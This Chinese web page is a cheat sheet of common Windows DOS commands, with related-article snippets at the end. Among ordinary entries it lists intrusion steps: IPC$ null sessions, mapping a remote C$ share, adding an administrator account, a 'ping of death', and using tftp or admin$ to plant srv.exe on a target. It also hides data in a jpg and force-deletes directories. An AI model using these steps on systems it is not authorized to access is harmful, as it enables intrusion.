Windows 常见DOS命令

1. 查看网络连接及路由状况

netstat -a     查看开启了哪些端口,常用netstat -an
netstat -n     查看端口的网络连接情况,常用netstat -an
netstat -v     查看正在进行的工作
netstat -p 协议名      查看某协议使用情况(查看tcp/ip协议使用情况)    例:netstat -p tcq/ip
netstat -s                  查看正在使用的所有协议使用情况

nbtstat -A ip             查看对方最近登陆的用户名(对方136到139其中一个端口要打开)
finger username @host    查看最近有哪些用户登陆

ipconfig                    查看本地ip地址,参数“/all”显示全部配置信息
ping ip(或域名)         向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip   死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
tracert -参数 ip         跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
route print               显示出IP路由,将主要显示网络地址Network addres,子网掩码

mem                        查看cpu使用情况
tlist -t                       以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名            加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

2. 建立网络连接(磁盘映射)与资源共享

net use \\ip\ipc$ " " /user:" "                     建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名"      建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名"     直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$                         登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del                   删除IPC链接
net use h: /del                              删除映射对方到本地的为H:的映射

net user                                        查看有哪些用户
net user 帐户名                             查看帐户的属性
net user 用户名 密码 /add        建立用户
net user guest 12345                   用guest用户登陆后用将密码改为12345
net user guest /active:yes            激活guest用户
net localgroup administrators 用户名 /add        把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

net password 密码                        更改系统登陆密码

net time \\目标ip                          查看对方时间
net time \\目标ip /set                   设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view                     查看本地局域网内开启了哪些共享
net view \\ip              查看对方局域网内开启了哪些共享

net share                   查看本地开启的共享
net share ipc$           开启ipc$共享
net share ipc$ /del    删除ipc$共享
net share c$ /del       删除C:共享

telnet ip                   端口 远和登陆服务器,默认端口为23 
open ip                    连接到IP(属telnet登陆后的命令) 
telnet                       在本机上直接键入telnet 将进入本机的telnet

ftp ip 端口            用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
tftp -i 对方IP put c:\srv.exe                 登陆后,上传本地c:\server.exe至主机
tftp -i 自己IP get srv.exe c:\srv.exe     登陆后,将"IP"的srv.exe下载到目标主机c:\srv.exe
    参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

3. 文件操作

copy 路径\文件名1 路径\文件名2 /y            复制文件1到指定的目录为文件2,用参数/y表示确认
copy c:\srv.exe \\ip\admin$                         复制本地c:\srv.exe到对方的admin下
cppy 1.jpg/b+2.txt/a 3.jpg                           将2.txt的内容藏身到1.jpg中生成3.jpg新的文件,注:2.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\srv.exe c:\                        复制对方admini$共享下的srv.exe文件(所有文件)至本地C:(或:copy\\ip\admin$\*.*  )
xcopy 要复制的文件或目录树 目标地址\目录名        复制文件和目录树,用参数/Y将不提示覆盖相同文件

del /S /Q 目录 或用:rmdir /s /Q 目录 /S      删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。
del -F 文件名        加-F参数后就可删除只读文件
            /AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件
            /A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。
           例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

md 目录名           创建目录 
replace 源文件  要替换文件的目录 替换文件 
ren 原文件名 新文件名         重命名文件名 
tree                     以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 
type 文件名         显示文本文件的内容 
more 文件名        逐屏显示输出文件

dir                       查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
move 要移动的盘符\路径\文件名 移动后的路径\文件名             移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc 1.txt 2.txt>3.txt           对比二个文件并把不同之处输出到3.txt文件中,"> "和"> >" 是重定向命令
echo hello>d:\1.txt ;       写入文本到指定文件(如果文件存在则替换)
findstr "hello" 1.txt         在1.txt文件中寻找字符串hello
find 文件名                      查找某文件

时间: 2024-10-27 13:01:28

Windows 常见DOS命令的相关文章

Windows 经典DOS命令大全

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进

使sublimetext3在ubuntu下可以打中文和在windows的dos命令行下正常显示中文

学习闲暇之余,总结一下在windows和ubuntu下使用sublimetext3遇到的问题 一.关于sublimetext3在windows的dos命令行下不能编译运行中文的解决方案: 因为dos命令行默认的是gbk编码,所以需要按照如下方式来编译 javac -encoding UTF-8 xxx.java 这样运行class文件就可以正常显示中文了 二.关于sublimetext3在ubuntu下不能打中文的解决方案 首先需要在ubuntu上安装一个搜狗输入法,而搜狗输入法建立在fcitx

Windows下DOS命令大全(经典收藏)

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进

java----调用windows的DOS命令并回显/启动和关闭appium

/**  *  Java调用windows的DOS命令  *  实现调用Windows的ipconfig命令,然后将输出的信息通过IO流输出到控制台.  *  实现启动appium服务  *  实现关闭appium服务  */ public class Doc {     public static void main(String[] args) throws Exception {          String cmd = "ping www.baidu.com";       

Windows的DOS命令基础

什么是DOS命令 DOS命令,计算机术语,是指DOS操作系统的命令,是一种面向磁盘的操作命令,主要包括目录操作类命令.磁盘操作类命令.文件操作类命令和其它命令. 调出运行对话框:Win+R快捷键 打开命名提示符,即DOS命令窗口 输入help就查看当前命令行窗口下的DOS命令 当我们使用基本的DOS命令时,可以在后面追加详细参数来帮助你进行指定的操作 使用/?来查看可以追加的参数 下面我将演示一遍最常见的DOS命令 是不是很简单,其实这些操作我们使用鼠标都可以实现,但早期的操作系统没有GUI(形

windows下dos命令的学习笔记

今天看Java视频,顺带学习了一下DOS命令,这也帮助我很好的理解Ubuntu下控制台命令. 1.dir (directory)查看某个盘或文件下的目录(所以文件及文件夹) 2.cd (change directory) 进入某文件目录下(如:cd apple*进入一个文件夹下,名称开头为apple后面可跟任意字符[*为通配符]) cd..     退回到上一级目录 cd\      退回到根目录(即某盘下) (注:想在当前目录下切换到其他盘下,直接在当前目录后写D:(如切换到D盘)) 3.md

常见 Dos命令

Dos命令   DOS命令为内部命令和外部命令,内部命令是随每次启动的COMMAND.COM装入并常驻内存,而外部命令是一条单独的可执行文件.在操作时要记住的是,内部命令在任何都时候可以使用,而外部命令需要保证命令文件在当前目录中,或在Autoexec.bat文件已经被加载了路径. 常见的内部命令: 1.DIR 含义:显示指定路径上所有文件或目录的信息.格式:DIR [盘符:][路径][文件名][参数]参数:/W: 宽屏显示,一排显示5个文件名,而不会显示修改时时间,文件大小等信息:/P: 分页

学习java常见dos命令

在java基础学习阶段时一般会在dos命令行下操作文件,这里列出一些常用命令. 打开DOS控制台的方式 按win+r 再输入 cmd 然后回车. 常用DOS命令 d: 回车 盘符切换 (盘符加冒号) dir(directory):列出当前目录下的文件以及文件夹 md (make directory) : 创建目录 rd (remove directory): 删除目录 cd (change directory)改变指定目录(进入指定目录) cd.. : 退回到上一级目录 cd\: 退回到根目录

常见dos命令

常用的内部命令有MD.CD.RD.DIR.PATH.COPY.TYPE.EDIT.REN.DEL.CLS.VER.DATE.TIME.PROMPT.常用的外部命令有DELTREE.FORMAT.DISKCOPY.LABEL.VOL.SYS.XCOPY.FC.ATTRIB.MEM.TREE. 切换到其他盘符D: 1.MD--建立子目录功能:创建新的子目录类型:内部命令ü格式:MD[盘符:][路径名]〈子目录名〉FOR 1:C:\>md y /*---建立y子目录---*/ 2.CD--改变当前目录